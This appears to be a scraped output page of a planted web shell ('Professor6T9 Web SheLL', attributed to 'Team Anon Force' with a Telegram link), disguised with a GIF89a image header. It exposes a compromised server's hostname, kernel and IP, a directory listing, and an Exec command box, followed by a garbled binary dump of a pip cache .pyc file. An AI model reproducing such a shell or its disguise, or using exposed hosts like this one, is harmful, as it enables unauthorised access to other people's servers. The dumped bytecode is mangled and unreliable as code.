GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python39
/
lib
/
python3.9
/
site-packages
/
pip
/
_vendor
/
cachecontrol
/
caches
/
__pycache__
[ HOME ]
Exec
Submit
file_cache.cpython-39.pyc
a ��Re9 � @ s| d dl Z d dlZd dlmZ ddlmZ ddlmZ ze W n e yV e efZY n0 dd� ZG dd � d e�Z d d� ZdS )� N)�dedent� )� BaseCache)�CacheControllerc C s� t j}|t jt jB O }tt d�r*|t jO }tt d�r>|t jO }zt �| � W n tt fyb Y n0 t � | ||�}zt �|d�W S t �|� � Y n0 d S )N� O_NOFOLLOW�O_BINARY�wb) �os�O_WRONLY�O_CREAT�O_EXCL�hasattrr r �remove�IOError�OSError�open�fdopen�close)�filename�fmode�flags�fd� r ��/builddir/build/BUILDROOT/alt-python39-pip-21.3.1-2.el8.x86_64/opt/alt/python39/lib/python3.9/site-packages/pip/_vendor/cachecontrol/caches/file_cache.py�_secure_open_write s r c @ sB e Zd Zddd�Zedd� �Zd d � Zdd� Zd d� Zdd� Z dS )� FileCacheF� � Nc C s� |d ur|d urt d��zddlm} ddlm} W n" tyV td�} t| ��Y n0 |rb|}n|d u rn|}|| _|| _|| _ || _ || _d S )Nz/Cannot use use_dir_lock and lock_class togetherr )�LockFile)� MkdirLockFilez� NOTE: In order to use the FileCache you must have lockfile installed. You can install it via pip: pip install lockfile )� ValueError�lockfiler �lockfile.mkdirlockfiler �ImportErrorr � directory�forever�filemode�dirmode� lock_class) �selfr$ r% r&